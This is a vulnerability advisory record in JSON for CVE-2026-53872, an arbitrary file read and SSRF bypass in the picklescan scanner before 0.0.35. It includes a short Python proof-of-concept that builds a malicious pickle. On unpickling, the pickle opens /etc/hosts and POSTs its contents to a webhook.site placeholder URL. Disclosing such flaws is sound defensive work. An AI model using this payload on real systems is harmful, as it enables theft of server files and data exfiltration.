{"id":"CVE-2026-53872","aliases":["GHSA-9726-w42j-3qjr","PYSEC-2026-1787"],"title":"picklescan has Arbitrary file read using `io.FileIO` ","summary":"picklescan has Arbitrary file read using `io.FileIO` ","severity":"high","cvss":7.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","vendor":"picklescan","product":"picklescan","ecosystem":"pip","affected":["picklescan < 0.0.35"],"patched":["picklescan 0.0.35"],"published":"2026-01-08","updated":"2026-07-07","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-9726-w42j-3qjr","references":[{"url":"https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9726-w42j-3qjr"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53872"},{"url":"https://github.com/mmaitre314/picklescan/pull/55"},{"url":"https://github.com/mmaitre314/picklescan/commit/a01c58d5dd7960db557b849817c0ab83ab111ef1"},{"url":"https://github.com/mmaitre314/picklescan"},{"url":"https://github.com/mmaitre314/picklescan/releases/tag/v0.0.35"},{"url":"https://www.vulncheck.com/advisories/picklescan-arbitrary-file-read-via-unsafe-pickle-deserialization"}],"tags":["osv","pip"],"epss":0.00509,"epssPercentile":0.42288,"ingestedAt":"2026-07-08T18:25:47.770Z","slug":"CVE-2026-53872","body":"## Overview\n\n### Summary\nUnsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.\n\n### Details\nThe application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:\n\n1. io.FileIO: Opens local files without using builtins.open.\n\n2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.\n\n3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.\n\n### PoC\n\n```python\nimport pickle, io, urllib.request\n\nclass GetFile:\n    def __reduce__(self):\n        return (io.FileIO, ('/etc/hosts', 'r'))\n\nclass Exfiltrate:\n    def __reduce__(self):\n        return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))\n\nwith open(\"bypass_http.pkl\", \"wb\") as f:\n    pickle.dump(Exfiltrate(), f)\n```\n\n<img width=\"650\" height=\"114\" alt=\"Screenshot 2025-12-30 at 10 13 14 PM\" src=\"https://github.com/user-attachments/assets/4edf9640-80f6-4701-ae87-cff1079e2994\" />\n\n\n### Impact\n\n- Arbitrary file read\n\nThanks for this library and your time. If you think `picklescan` is focused on detecting only `RCE` kind of vulnerabilities rather adding `File IO`, `Http` or any protocol based may cause lot of noise, feel free to close this issue.\n\n## Affected packages\n\n- `picklescan < 0.0.35`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `picklescan 0.0.35`","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}